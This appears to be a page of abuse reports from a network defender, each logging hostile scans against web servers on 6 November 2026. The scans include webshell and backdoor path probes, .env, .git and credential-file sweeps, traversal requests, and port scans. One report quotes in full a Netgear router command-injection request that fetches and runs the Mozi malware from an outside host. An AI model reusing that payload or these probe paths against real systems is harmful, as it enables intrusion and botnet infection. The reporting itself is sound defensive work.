Slow HEAD-request enumeration of ~41 guessed paths (case variants of /wp, /old, /backup, /shop, /new ...
show moreSlow HEAD-request enumeration of ~41 guessed paths (case variants of /wp, /old, /backup, /shop, /new, /test, year paths) against a website over 58 minutes, all answered 404.
Target: HTTP 80, kimberlymackdesignstudio.com vhost, HEAD /wp, /old, /backup, /shop, /new, /test, /2021-2026 and case variants
Seen: 2026-11-06 21:00-21:58 EST
- 21:00:54-21:58:37, 41 HEAD requests at ~90s intervals for guessed paths: /Wordpress, /WORDPRESS, /wp, /old, /OLD, /oldsite, /new, /NEW, /backup, /BACKUP, /shop, /SHOP, /test, /2021..2026, all HTTP 404
- Chrome/96 Linux UA with forged referer http://kimberlymackdesignstudio.com/<same path> on every request
show less
Repeatedly probed HTTP 80 for a PHP webshell (wp_filemanager.php) and swept ~40 suspicious .php path ...
show moreRepeatedly probed HTTP 80 for a PHP webshell (wp_filemanager.php) and swept ~40 suspicious .php paths against our network's public sites; all requests dropped (444/403/301).
Target: HTTP 80, wp_filemanager.php and other .php paths and a host
Seen: 2026-11-06 20:14 EST
- 2026-11-06 20:14:22-20:14:23 - four identical GET /wp-content/plugins/hellopress/wp_filemanager.php with empty User-Agent over HTTP 80, each returning 444 (connection dropped)
- 2026-11-06 11:20-11:30 - sweep of ~40 unique suspected PHP backdoor paths (/a.php, /b.php, /mac.php, /Ffile.php, /wp-includes/ID3/about.php, /wp-content/index.php, ...), all 301/403
show less
Recurring HEAD basic-path reconnaissance against kimberlymackdesign.com(s) — backup, wordpress, wp, ...
show moreRecurring HEAD basic-path reconnaissance against kimberlymackdesign.com(s) — backup, wordpress, wp, main, old, all 404, rotating desktop/mobile UAs.
Target: HTTP 80, kimberlymackdesign.com and kimberlymackdesignstudio.com, HEAD basic-path recon (backup, wordpress, wp, main)
Seen: 2026-11-06 19:04-19:47 EST
- 2026-11-06 19:04:04 HEAD /wp 404 and HEAD /backup 404 on kimberlymackdesign.com, UA UCBrowser/13.5.8
- 2026-11-06 19:47:47 HEAD /backup 404 on kimberlymackdesignstudio.com, UA SamsungBrowser/25.0
- 2026-11-06 19:47:47 HEAD /main 404, /bk 404, /bc 404, /old 404 on kimberlymackdesignstudio.com
show less
Internet-wide scanner probed the web service on port 80 using the zgrab scanning framework with a Zm ...
show moreInternet-wide scanner probed the web service on port 80 using the zgrab scanning framework with a Zmap user-agent signature.
Target: HTTP 80, GET / with zgrab/0.x user-agent
Seen: 2026-11-06 18:31-18:33 EST
- 18:32:30 EST: IDS signature ET SCAN Zmap User-Agent (Inbound) fired on TCP from this IP source port 54178 to destination port 80
- 18:32:30 EST: HTTP request GET / HTTP/1.1 with user-agent Mozilla/5.0 zgrab/0.x to port 80, answered 444 (connection closed without response)
- 18:31:32 EST: second TCP SYN from this IP to destination port 80 passed the edge filter
show less
Vultr-hosted host with a hostile TLS client fingerprint made repeated connection attempts to the HTT ...
show moreVultr-hosted host with a hostile TLS client fingerprint made repeated connection attempts to the HTTPS service; the TLS handshake matched a known malicious fingerprint and no legitimate session followed.
Target: HTTPS 443, TLS handshake with malicious client fingerprint
Seen: 2026-11-06 18:46-18:47 EST
- 18:46:54 EST: two TCP SYN packets from this IP to destination port 443 passed the edge filter (source ports 62198 and 10890)
- 18:47:07 EST: traffic-analysis sensor flagged the TLS flow from this IP to port 443 as a Malicious Fingerprint (client hello matching a known hostile TLS fingerprint)
show less
Google Cloud host swept ~70 phpinfo.php variants and Google Cloud/Firebase credential-file paths (gc ...
show moreGoogle Cloud host swept ~70 phpinfo.php variants and Google Cloud/Firebase credential-file paths (gcp-key.json, service-account.json, firebase-key.json) against a web server in 15 seconds, all denied 403/404.
Target: HTTPS 443, GET /phpinfo.php variants and *.json credential-file paths
Seen: 2026-11-06 08:58 EST
- 08:58:25-08:58:40 EST: ~70 requests in 15 seconds sweeping /phpinfo.php variants (info.php, test.php, staging/phpinfo.php, phpinfo.php.bak) and GCP credential paths (gcp-key.json, service-account.json, firebase-key.json, application_default_credentials.json)
- Chrome/131 desktop user-agents, HTTP/2, single source IP
show less
Bot swept command-and-control style paths (/getcmd, /aaa9) against a WordPress site with an outdated ...
show moreBot swept command-and-control style paths (/getcmd, /aaa9) against a WordPress site with an outdated Chrome/70 user-agent and forged referer headers pointing at cPanel ports; all requests returned 404.
Target: HTTPS 443, GET /getcmd, /aaa9 with referers http://172.67.136.173:80/2095
Seen: 2026-11-06 07:54 EST
- 07:54:08-07:54:12 repeated GET /getcmd and /aaa9 requests, all returned 404
- Forged referer headers http://172.67.136.173:80 and :2095 (cPanel/Cloudflare ports)
- User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/70.0.3538.77, an outdated browser string typical of automated scanners
show less
Sent a single GET / probe with a spoofed iPhone user-agent and a numeric-IP Host header; the connect ...
show moreSent a single GET / probe with a spoofed iPhone user-agent and a numeric-IP Host header; the connection was closed without a response.
Target: HTTP 80, GET / with Host: a host
Seen: 2026-11-06 07:24 EST
- 07:24:38 GET / HTTP/1.1 with UA Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3) Safari/604.1, connection closed with no response (444)
- Host header was the bare IP address a host
- 07:24:46 IDS flow alert flagged the connection for a suspicious HTTP header
show less
Sent a single GET / probe with a spoofed iPhone user-agent and a forged Host header naming a differe ...
show moreSent a single GET / probe with a spoofed iPhone user-agent and a forged Host header naming a different domain; the connection was closed without a response.
Target: HTTP 80, GET / with Host: www.angrysysadmins.tech
Seen: 2026-11-06 07:22 EST
- 07:22:10 GET / HTTP/1.1 with UA Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3) Safari/604.1, connection closed with no response (444)
- Host header was www.angrysysadmins.tech, a domain unrelated to the IP-address host the request arrived on
- 07:22:20 IDS flow alert flagged the connection as a remote-to-local insecure flow
show less
Bot swept command-and-control style paths (/getcmd, /aaa9, /aab9) against a WordPress site with an o ...
show moreBot swept command-and-control style paths (/getcmd, /aaa9, /aab9) against a WordPress site with an outdated Chrome/70 user-agent and forged referer headers pointing at cPanel/Cloudflare ports; all requests returned 404.
Target: HTTPS 443, GET /getcmd, /aaa9, /aab9 with referers http://104.21.56.207:80/2052/2082/2086/2095
Seen: 2026-11-06 07:54 EST
- 07:54:07-07:54:12 repeated GET /getcmd, /aaa9, /aab9 requests, all returned 404
- Forged referer headers http://104.21.56.207:80, :2052, :2082, :2086, :2095 (cPanel/Cloudflare ports)
- User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/70.0.3538.77, an outdated browser string typical of automated scanners
show less
Bot swept command-and-control style paths (/getcmd, /aaa9, /aab9) against a WordPress site with an o ...
show moreBot swept command-and-control style paths (/getcmd, /aaa9, /aab9) against a WordPress site with an outdated Chrome/70 user-agent and forged referer headers pointing at cPanel ports; all requests returned 404.
Target: HTTPS 443, GET /getcmd, /aaa9, /aab9 with referers http://172.67.136.173:80/2082
Seen: 2026-11-06 07:54 EST
- 07:54:08-07:54:11 repeated GET /getcmd, /aaa9, /aab9 requests, all returned 404
- Forged referer headers http://172.67.136.173:80 and :2082 (cPanel/Cloudflare ports)
- User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/70.0.3538.77, an outdated browser string typical of automated scanners
show less
Probed for exposed Git repository metadata (/.git/config) on port 80 with a spoofed Chrome user-agen ...
show moreProbed for exposed Git repository metadata (/.git/config) on port 80 with a spoofed Chrome user-agent; the request was denied without a response.
Target: HTTP 80, GET /.git/config
Seen: 2026-11-06 07:11 EST
- 07:11:15 GET /.git/config HTTP/1.1 with UA Mozilla/5.0 (X11; Linux x86_64) Chrome/81.0.4044.129, connection closed with no response (444)
- 07:11:16 TCP SYN to port 80 and port 443 from the same source within one second
- 07:11:21 IDS flow alert flagged the port-80 connection as a possible exploit attempt
show less
WordPress REST API recon scanner: enumerated the WP REST API (posts endpoint with probe markers), PO ...
show moreWordPress REST API recon scanner: enumerated the WP REST API (posts endpoint with probe markers), POSTed to the batch/v1 endpoint, and probed wp-login.php and readme.html with rotating spoofed browser user-agents.
Target: HTTPS 443, WordPress REST API /?rest_route=/wp/v2/posts&_nxprobe=..., POST /index.php?rest_route=/batch/v1, /wp-login.php, /readme.html
Seen: 2026-11-06 07:38-07:44 EST
- 07:38:49 GET /wp-login.php HTTP/2.0 returned 403
- 07:38:52 GET /readme.html HTTP/2.0 returned 403
- 07:43:55 GET /?rest_route=/wp/v2/posts&per_page=1&_fields=id&_nxprobe=dmo4y5fns79h returned 200
- 07:43:56 GET /?rest_route=/wp/v2/posts&per_page=1&_fields=id&_nxprobe=dmo4y5t5fl1l returned 200
- 07:43:55 and 07:43:57 POST /index.php?rest_route=/batch/v1 returned 207
- 07:39:38 POST /?rest_route=/batch/v1&_locale=user&_=756779 returned 400
- Rotating user-agents across requests: Chrome 122-126, Firefox 126-127, Safari 16.6/17.5, iPhone and Android strings
show less
Ran a TCP SYN port scan with OS-fingerprinting (varying window sizes and TCP option sets) against a ...
show moreRan a TCP SYN port scan with OS-fingerprinting (varying window sizes and TCP option sets) against a web server on ports 80 and 443, plus database and VNC port probes and ICMP sweeps.
Target: TCP 80/443 SYN+OS-fingerprint scan; probes to 3306, 5432, 1433, 1521, 5811; ICMP echo
Seen: 2026-11-06 06:34 EST
- 06:34:00-06:34:01 EST: IDS fired ET SCAN signatures for MySQL 3306, PostgreSQL 5432, MSSQL 1433, Oracle 1521 and VNC 5800-5820 probes from this IP
- 06:34:12-06:34:25: dozens of SYNs to ports 80 and 443 with deliberately varying TCP window sizes and option sets (1/3/4/16/63/512/1024/32768), classic OS-fingerprint scan
- 06:34:13-06:34:14: repeated ICMP echo requests and UDP probes accompanying the scan
show less
Swept a web server for exposed .env configuration/secret files using a dozen path variants including ...
show moreSwept a web server for exposed .env configuration/secret files using a dozen path variants including encoded and suffix forms, within seconds.
Target: HTTP 80/443, GET /.env and variants
Seen: 2026-11-06 06:21 EST
- 06:21:24-06:21:29 EST: 13 GET requests for /.env secret-file variants in 5 seconds, all answered 403 or 404
- 06:21:26 GET /.env%20 and GET /%2eenv used URL-encoding tricks to bypass filters, 403
- 06:21:27 GET /.env.bak and /.env.old backup-file variants, 403
- Forged Chrome/133 macOS User-Agent on every request
show less
SIP scanner probed a public VoIP service on UDP 5060 with the Sipvicious friendly-scanner tool, and ...
show moreSIP scanner probed a public VoIP service on UDP 5060 with the Sipvicious friendly-scanner tool, and also probed the same port through a VPN tunnel interface.
Target: SIP UDP 5060 (also 5080), Sipvicious friendly-scanner probes
Seen: 2026-11-06 04:20-04:26 EST
- 04:25:53 EST IDS signature ET SCAN Sipvicious Scan (1:2008578:4) fired on UDP packet from 2.57.121.120:31238 to service port 5060
- 04:25:53 EST firewall blocked UDP packets from 2.57.121.120 to ports 5060 and 5080
- 04:20:04 EST the same source sent a probe to port 5060 over a VPN tunnel interface, blocked
show less
Web scanner sent requests matching the Next.js middleware authorization-bypass exploit signature aga ...
show moreWeb scanner sent requests matching the Next.js middleware authorization-bypass exploit signature against a public web service, then continued probing after being cut off.
Target: HTTP 80, GET / with Next.js middleware bypass headers (CVE-2025-29927 signature); also probed 8080
Seen: 2026-11-06 02:09-04:32 EST
- 04:31:04 EST IDS signature ET WEB_SERVER Next.js Middleware Authorization Bypass (CVE-2025-29927) fired on TCP 35.201.243.148:60834 to public port 80
- 04:31:03 EST GET / HTTP/1.1 with a desktop Edge user-agent to the public web service was answered 444 (connection closed without response)
- 04:31:04-04:32:22 EST eight subsequent TCP packets from the same source port were blocked at the edge
- 02:09:11 EST the same source probed port 8080 and was blocked
show less
Host in a St Petersburg residential range made repeated TLS connections to a public HTTPS service th ...
show moreHost in a St Petersburg residential range made repeated TLS connections to a public HTTPS service that the traffic sensor flagged as matching known-malicious TLS client fingerprints, part of a distributed scan from the same /24.
Target: HTTPS 443, TLS handshake with malicious client fingerprint, no HTTP request completed
Seen: 2026-11-06 04:59-05:00 EST
- 04:59:47 EST TCP SYN from 93.100.0.149:50647 to public HTTPS port 443 passed the edge filter
- 04:59:52 and 04:59:55 EST two more SYNs from 93.100.0.149 (:57472, :37067) to port 443
- 05:00:02 EST traffic sensor flagged the flow 93.100.0.149:50647 -> port 443 as matching a known-malicious TLS client fingerprint
show less
Host in a St Petersburg residential range made repeated TLS connections to a public HTTPS service th ...
show moreHost in a St Petersburg residential range made repeated TLS connections to a public HTTPS service that the traffic sensor flagged as matching known-malicious TLS client fingerprints, part of a distributed scan from the same /24.
Target: HTTPS 443, TLS handshake with malicious client fingerprint, no HTTP request completed
Seen: 2026-11-06 04:47-05:00 EST
- 04:47:37 EST TCP SYN from 185.37.128.227:53520 to public HTTPS port 443 passed the edge filter
- 04:47:38 EST a second SYN from 185.37.128.227:41208 to port 443
- 04:47:51 EST traffic sensor flagged the flow 185.37.128.227:28444 -> port 443 as matching a known-malicious TLS client fingerprint
- 05:00:40-05:00:41 EST two further SYNs from the same host to port 443
show less
Probed a web server for an exposed Git repository metadata file (GET /.git/config) with a gitscan-go ...
show moreProbed a web server for an exposed Git repository metadata file (GET /.git/config) with a gitscan-go scanner user agent; the request was refused with 403.
Target: HTTPS 443, GET /.git/config (gitscan-go/0.3)
Seen: 2026-11-06 03:56 EST
- 03:56:21 EST: GET /.git/config with gitscan-go/0.3 user agent, answered 403
- Third-party WAF reports in the same hour show identical /.git/config gitscan-go probes against other targets (15:48 CET honeypot, 15:49 CET Cloudflare block)
show less
Swept roughly one hundred secret and configuration file paths (.env variants, .git/config, .htpasswd ...
show moreSwept roughly one hundred secret and configuration file paths (.env variants, .git/config, .htpasswd, service-account keys, docker-compose files) plus path-traversal probes against a web server within seconds, rotating dozens of AI-crawler user-agents; every request returned 403 or 404.
Target: HTTPS 443, ~100 secret/config paths (.env variants, .git/config, .htpasswd, service-account keys) and LFI traversal probes
Seen: 2026-11-06 03:40 EST
- 03:40:01-03:40:08 EST: sent ~100 secret/config file probes vhost (.env, .env.* variants, .git/config, .htpasswd, server.key, key.pem, firebase-service-account.json, docker-compose.yml) in under a minute, all answered 403 or 404
- 03:40:05-03:40:06 EST: sent path traversal probes /userfiles?path=../../../.env, /userfiles/x?path=../../../../proc/self/environ and /cache/original/%2e%2e/%2e%2e/.env, all 403 or 404
- 03:40:05 EST: probed /_debugbar/open, all requests 403/404
- Requests rotated AI-crawler user agents including OAI-SearchBot, ClaudeBot, MoonshotBot/KimiBot,...
show less
Sent a Netgear DGN1000 router command-injection exploit request that attempted to download and execu ...
show moreSent a Netgear DGN1000 router command-injection exploit request that attempted to download and execute the Mozi malware dropper from the same address, against a public web service on port 80.
Target: HTTP 80, GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm -rf /tmp/*;wget http://31.14.190.74:57117/Mozi.m -O /tmp/netgear;sh netgear
Seen: 2026-11-06 02:53 EST
- 02:53:27 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://31.14.190.74:57117/Mozi.m+-O+/tmp/netgear;sh+netgear HTTP/1.0 with no User-Agent; connection dropped with no response served
- 02:53:27 IDS signatures 1:44687 and 1:44688 fired: Netgear DGN1000 authentication bypass attempt and arbitrary command execution attempt, priority 1
- 02:53:26-02:54:36 repeated TCP connections from the same source port 48765 to destination port 80
show less
Probed for known PHP malware dropper/backdoor paths (images/cache.php, wp-admin/includes/includes/ca ...
show moreProbed for known PHP malware dropper/backdoor paths (images/cache.php, wp-admin/includes/includes/cache.php, filefuns.php) using a misspelled mobile browser user-agent and a Google referer.
Target: HTTPS 443, GET /images/images/cache.php, /wp-admin/includes/includes/cache.php, /filefuns.php
Seen: 2026-11-06 02:00 EST
- 02:00:57-02:01:02 GET /images/images/cache.php returned 404 twice
- 02:01:06 GET /wp-admin/includes/includes/cache.php returned 403
- 02:00:57-02:00:58 GET /filefuns.php returned 404 twice
- User-Agent misspelled as 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M)' with referer www.google.com
show less
Swept a WordPress site for exposed config files and user data: requested /.env, .env.bak, wp-config. ...
show moreSwept a WordPress site for exposed config files and user data: requested /.env, .env.bak, wp-config.old, wp-config-sample.php, debug.log, .git/config, wp-sitemap-users.xml, /wp-json/wp/v2/users and /?author=1-3 within seconds.
Target: HTTPS 443, WordPress paths /.env, /wp-config.bak, /wp-json/wp/v2/users, /?author=1-3, /wp-login.php
Seen: 2026-11-06 01:28 EST
- 01:28:36 GET /.env.bak and /.git/config returned 403
- 01:28:37 GET /debug.log and /wp-content/debug.log returned 404
- 01:28:38 GET /wp-json/wp/v2/users?per_page=100 returned 401
- 01:28:38 GET /wp-sitemap-users.xml returned 404
- 01:28:39 GET /?author=1, /?author=2, /?author=3 returned 500
- 01:28:35 GET /wp-login.php returned 403
show less
Web App AttackBad Web Bot
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.